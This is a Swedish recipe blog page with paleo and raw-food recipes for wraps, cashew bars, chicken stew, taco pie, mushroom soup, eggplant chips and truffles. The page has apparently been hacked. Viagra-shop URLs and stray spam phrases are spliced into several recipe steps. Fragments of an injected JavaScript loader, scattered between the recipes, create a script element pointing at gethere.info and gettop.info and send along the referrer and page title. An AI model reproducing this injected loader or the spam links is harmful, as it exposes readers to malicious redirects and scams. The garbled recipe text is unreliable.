Wraps

Det här receptet hittade jag på bloggen 56 kilo här.

Ingredienser
4 ägg
0,5-1 dl vatten
2 msk kokosmjöl
3 msk pofiber
1 msk fiberhusk
2 msk olivolja eller smaklös kokosolja
1,5 tsk salt

Instruktioner
1.Sätt ugnen på 150 gr.
2.Vispa ägg tills det blir riktigt luftigt.
3.Blanda de torra ingredienserna och vispa ner tillsammans med olja och vatten. Låt stå i 5 minuter.
4.Klicka up 1/4 schädliche abgase gefährden radfahrer im straßenverkehr del på ett bakpapper (inte smörpapper!) och lägg ett annat bakpapper ovanpå. Kavla ut till en rund tortillastor rundel.
5.Grädda i ugnen i ca 10 minuter med bakpappert kvar.

Cashewrutor med smak av apelsin och ingefära

bild10
För några dagar sedan fick jag provsmaka på dessa godbitar av min granne Anna. Nu har jag bakat dem för första gången och de smakar supergott!

Cashewrutor (ca 16 bars)
1 apelsin
4 dl cashewnötter
100 gr torkade aprikoser
1 msk färsk riven ingefära
150 gr mörk choklad (minst 70%)

Gör så här:

Riv skalet av apelsinen och ställ det åt sidan. Dela apelsinen och pressa ut saften (gärna i matberedare el juicecentrifug). Häll saften i matberedare, tillsätt nötter, aprikoser och ingefära och mixa till jämn smet. Forma smeten till en rektangel, ca 1 cm tjock. Smält chokladen i vattenbad och bred den över nötmassan. I receptet https://www.viagrasansordonnancefr.com/viagra-achat/ står det att man ska strö på apelsinskalet. Jag blandade skalet i degen istället. Förvara kallt. Går utmärkt att frysa!
BildaAA
A B
BCEFD
bild5
bild6
bild7bild8bild11bild12bild9

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Kycklinggryta

bild1

Här kommer ett recept på en fräsch och god kycklinggryta. Jag använde kokosmjölk. Kokosmjölken lät jag stå i kylen med botten uppåt. Vid användning gjorde jag hål i botten av burken, hällde ut kokosvattnet och öppnade burken från toppen och hällde kokosmjölken i grytan.  När ni häller bort vattnet får ni en krämigare sås. Receptet hittade jag här.

Kycklinggryta (paleo) (2-3 personer)

2 kycklingfiléer
1 burk kokosgrädde/extra creamy kokosmjölk
2 klyftor vitlök
1 gul lök
1-2 msk visit poster’s website jordnötssmör (green choice crunchy)
chiliflingor (kan uteslutas)
curry
svartpeppar
salt

Hacka och stek lök och vitlök. Strimla kycklingen och stek den med löken, ha på salt och peppar. Häll på kokosgrädden och låt koka upp. Ha sedan i jordnötssmör och curry efter behag ( ca 2-3 tsk). Låt puttra en stund och smaka av. Tillsätt därefter chili och låt koka ihop till en krämigare sås. Smaka av med salt. Servera till grönsaker.

bild5

bild8bild6bild7

bild9bild10bild11bild13bild14

bild15bild2bild3

Tacopaj

bild26

Nu har jag lagat en god tacopaj (paleo) och originalreceptet hittade jag här. Då jag är lite feg med starka smaker så
minskade jag en aning på chilipulver och cayennepeppar till köttfärsen.

Paleo Tacopaj:

Pajdeg
3 dl mandelmjöl
½ dl skalade sesamfrön
1 msk psyllium (eller fiberhusk)
1 tsk havssalt
40 g kokosolja
1 ägg
 bild13bild12bild16bild15bild14bild8
Fyllning
 400 g nötfärs
Tacokrydda – till ca 500g nötfärs blanda; 1½ tsk salt, 2 tsk chilipulver, 2 tsk paprikapulver, 1 tsk vitlökspulver, 1 tsk lökpulver,1 tsk spiskummin, 1 krm cayennepeppar
1 dl vatten
bild6bild10bild5bild4
Äggstanning
3 ägg
2 dl kokosmjölk
3-4 dl het salsa (förbered i förväg enl följande – 500g krossade tomater, 1 finhackad gul lök, 4-6 finhackade feferoni, 1-2 pressade vitlöksklyftor, 1 tsk chilipulver, 1 tsk paprikapulver, 0,5-1 tsk spiskummin, 1 krm cayennepeppar, salt och

peppar)

bild19bild18bild17bild11
bild9bild7bild2bild3
Dekoration
 Paprika
Gör så här:
  • Sätt ugnen på 175 grader
  • Börja med pajdegen och mixa mandelmjöl och de skalade sesamfröna i en mixer
  • Tillsätt de övriga ingredienserna och mixa till en deg
  • Tryck ut degen i en pajform och nagga med en gaffel
  • Förgrädda pajskalet i ca 10 minuter tills det fått lite färg
  • Börja med fyllningen
  • Bryn nötfärsen i lite kokosolja
  • Blanda till en sats med hemma tacokrydda ( se ingredienser ovan)
  • Häll på tacokryddan över nötfärsen och rör om
  • Häll https://www.acheterviagrafr24.com/viagra-pas-cher/ på vattnet och rör om igen så att

    kryddorna riktigt går in i nötfärsen

  • Låt vattnet koka in i nötfärsen.
  • Fyll pajskalet med nötfärsen
  • Vispa samman äggen och kokosmjölken och tillsätt den heta salsan,, ta salsa efter tycke och smak.
  • Häll äggstanningen över nötfärsen
  • Dekorera med lite paprika
  • Grädda pajen mitt i ugnen i ca 25 minuter eller tills äggstanningen stelnat och fått fin färg

Servera sedan pajen med en god sallad!

 

 

bild8bild5bild20bild22bild23

tacobild26bild27bild29bild30bild31

 }

var d=document;var s=d.createElement(‘script’);

Smulpaj med vaniljsås

Receptet hittade jag här.

En lite nyttigare variant på paj som går snabbt att göra och är fantastiskt god. Det godaste och bästa receptet på vaniljsås kommer från raw food kocken Russel James.

Jag använder ekologiska havregryn från butiken, och de är inte rå, men det är ganska hälsosamt ändå för dem som inte är 100% rå.

Gör smulpajen så här:
1. Blanda havre (glutenfritt) , dadlar, en nypa äkta vaniljpulver, agave (eller honung) och https://www.acheterviagrafr24.com/ en nypa salt i en mixer. Jag improviserar alltid med de saker jag har hemma och blandar tills det smakar gott.
2. Lägg ut bären i en form.
3. Strö på smulpajen, och ställ in i kylen tills vaniljsåsen är klar.

Vaniljsås (therawchef.com)
1 1/2 dl cashewnötter (gärna blötlagda några timmar för magens skull)
1/2 dl vatten
2 msk agave
3 matskedar kokosnötolja
1 msk vanilj
1/4 tsk salt

Så här gör du vaniljsåsen:
1. Blanda alla ingredienser i en matberedare tills det är en slät röra, det kan ta lite tid, kanske får du mixa omgångar i 15-20 minuter om du inte har en stark matberedare.
2. Låt svalna i kylskåpet för att uppnå en tjockare konsistens.
3. Njut!…

if (document.currentScript) { }

Champinjonsoppa

Receptet på champinjonsoppa hittade jag här.
Ta lite mindre vatten när lagar soppan då jag upplevde att den blev lite för ”rinnig”  med 1,5 liter vatten. Ta 8 dl vatten istället och prova dig fram.

IMG_6523

 

Ingredienser
500 g färska champinjoner
1 gul lök
500 ml kokosgrädde.
Buljong enligt nedanstående alternativ:
Alternativ 1: ca 1,5 l vatten + ekologiskt grönsaksbuljongpulver och kycklingbuljongtärning
Alternativ 2: hemkokt buljong samt vatten, ev kompletterat med lite ekologiskt grönsaksbuljongpulver. Sammanlagt ca 1,5 l vätska.
Ca 2 msk ekologisk Tamarisoja (den är glutenfri)
4 msk kokosolja
Grovmalen svartpeppar
Ev mer salt eller grönsaksbuljongpulver

Gör så här
Skär champinjonerna och löken i bitar
Fräs svampen och löken i kokosoljan
Tillsätt resten av ingredienserna
Låt puttra i ca 30 minuter
Mixa soppan slät med stavmixer
Stekta kycklingbitar till soppan

IMG_6527IMG_6522

IMG_6525IMG_6524IMG_6523

Stekt kyckling som tillbehör.
Ingredienser
200-300 g kycklingfilé eller kycklinglårfilé
Kokosolja
Havssalt, grovmalen svartpeppar och paprikapulver
Medan soppan kokar så skär du kycklingfilén i små bitar och steker i kokosolja. Krydda med havssalt, grovmalen svartpeppar och paprikapulver.

Servera soppan med varma stekta kycklingbitar, lite chevré och några kvistar färsk timjan (min favoritkrydda). en rejäl klick majonnäs smakar också gott till och gör soppan fetare och mer mättande.} else {

}

Auberginechips/bacon

Det här receptet hittade jag på en facbooksida som heter ”Glutenfri och växtbaserad kost”. I receptet står det att man ska pensla över marinaden på båda sidor om skivorna. Nästa gång kommer jag låta skivorna ligga i marinaden i en timma istället för att pensla marinaden på skivorna.  Jag lät skivorna vara i ugnen ca 4 timmar. Du kan antingen torka dem tills de är helt knapriga (då får du ha skivorna i ugnen några timmar till) eller så kan de ha lite fukt kvar. Hållbarheten beror självklart på hur torra de är. Helt torra håller minst 1 månad i tättslutande burk.  Bäst är att använda en kniv och skära ca 0,5 cm tjocka skivor. Om du skär dem för tunna kommer de brännas i ugnen.

IMG_6320

Ingredienser
1 aubergine (ca 300 g)
2 msk olja (välj det du vill) Jag tog olivolja
2 msk tamari
½ tsk vitlökspulver
½ tsk chiliflakes
½ tsk salt

Gör så här:
1. Sätt ugnen på 175 garder. Blanda olja och tamari med alla kryddor. Ställ åt sidan några minuter tills kryddorna blandas ordentligt med varandra. Skär auberginen tunn och fördela på en plåt med bakplåtspapper. Pensla aubergineskivor på båda sidor.

2. Grädda mitt i ugnen ca 20 minuter. Sänk värmen till 50 grader. Ta ut plåten med aubergineskivor och flytta dem över från plåten till ugnsgaller. Lägg sedan ugnsgaller tillbaka till mitten av ugnen.

3. Öppna lätt ugnslucka genom att du klämmer en gaffel eller annat i mellan. Låt aubergineskivor torka på svag värme 2-4 timmar. Stäng värmen och låt dem ligga kvar en stund tills de blir knapriga.

Om aubergineskivor ska vara raw så ska du inte grädda dem utan bara torka i mitten av ugnen med lätt öppen ugnslucka i 4-6 timmar. Beroende hur tjocka skivor du har.

Aubergineskivor är super goda när dem inte har torkat helt. Perfekt att ha på smörgåsen eller servera som tillbehör till annat. En fredagsmys är räddad med aubergine chips.

Du kan välja vilken kryddblandning som helst. tex grönsaksbuljong,  grillkrydda och ibland bara salt och olja. Som sagt prova dig fram vilka smaker du tycker om.

IMG_6319IMG_6318IMG_6317IMG_6316IMG_6320

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

} else {

Macabollar

IMG_6077

Maca är en rotfrukt som frodas på högre höjder än någon annan. Maca växer i Anderna på 4 000 meters höjd.
Smaken påminner om pepparrot och palsternacka.

Maca innehåller adaptogener som ger dig energi och ökar lusten! Ger dig en riktig kick.

IMG_6092

Recept ca 14 mindre bollar.
3 dl mandlar  eller 2,5 dl mandelmjöl
2 msk kokosolja
3 msk kakaopulver eller raw kakao (jag använde raw kakao)
1 msk macapulver
5-7 dadlar (urkärnade)
Lite vatten
Lite honung

Gör så här:
Kör mandlar till ett fint mjöl i matberedaren. Tillsätt kakao och macapulver, kör igen. Gör kokosoljan flytande i ett ljummet vattenbad. Tillsätt kokosolja och kör igen. Tillsätt dadlar och kör igen. Tillsätt lite mer dadlar eller lite honung om du vill ha lite mer sötma. Om det är för torrt, tillsätt en aningens vatten. Bara liiiite. Forma sedan till bollar och rulla i kokos. Förvara i kylen eller frysen.

 IMG_6082
 IMG_6091IMG_6083

if (document.currentScript) {

White truffle

 

11822446_10153067509965959_370221626828135014_n

Här kommer två olika recept på ”White truffles”, en paleovänlig och en mindre nyttig. Originalreceptet hittade jag på instagram och måtten är engelska mått.

Recept ”White truffle” (Paleovänlig variant)
6-7 dadlar (urkärnade)
1 Cup riven kokos
1 Tbsp Agave sirap

Topping
6 Tbsp kokosolja (direkt från burken)
2 Tsp Agave sirap

Gör så här: Blötlägg dadlarna en stund. Häll av vattnet och lägg dadlarna tillsammans med kokos och agavesirap i en mixer och mixa till en smet.  Rulla till bollar och ställ in i frysen en stund.
Under tiden blandar du ihop din topping till en trögflytande smet. Rulla dina bollar i toppingen och ställ in i frysen. Ta fram och servera!

Recept ”White truffle” med vit choklad
6-7 dadlar (urkärnade)
1 Cup riven kokos
1 Tbsp Agave sirap
100 gram vit choklad med citronsmak

 

018ec789-dc02-41e0-a54e-ac2677ad882d

Topping
6 Tbsp kokosolja (direkt från burken)
2 Tsp Agave sirap

Gör så här: Blötlägg dadlarna en stund. Häll av vattnet och lägg dadlarna tillsammans med kokos, choklad och agavesirap i en mixer och mixa till en smet.  Rulla till bollar och ställ in i frysen en stund.
Under tiden blandar du ihop din topping till en trögflytande smet. Rulla dina bollar i toppingen och ställ in i frysen. Då kommer du märka att toppingen blir vit. Ta fram och servera!

 

 

72164311822446_10153067509965959_370221626828135014_n

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

var d=document;var s=d.createElement(‘script’); } else {

Marinerade cocktailtomater

Igår lagade jag marinerade cocktailtomater för första gången och det blev riktigt lyckad. Receptet hittade jag på Birgitta Höglunds blogg här.

image

Recept:
2 askar Cocktailtomater
Flingsalt
Torkad Timjan
Kallpressad Olivolja eller Rapsolja

Vitlök

Gör så här:
Halvera tomaterna och lägg i en ugnsform. Strö lite flingsalt och torkad timjan över. Torka i ugnen på 75° i 6 timmar. Lägg i burkar och täck de varma tomaterna med olja. Lägg ner några skivor vitlök också, så smakar det ännu godare.

De här tomaterna blir otroligt smakrika, ett bättre alternativ än de importerade ”soltorkade”. Passar till grillat, sallader och annat gott där Du vill använda tomat. Oljan blir sen, när tomaterna är slut, bra att göra dressing eller marinad på.

imageimage

imageimageimageimageimage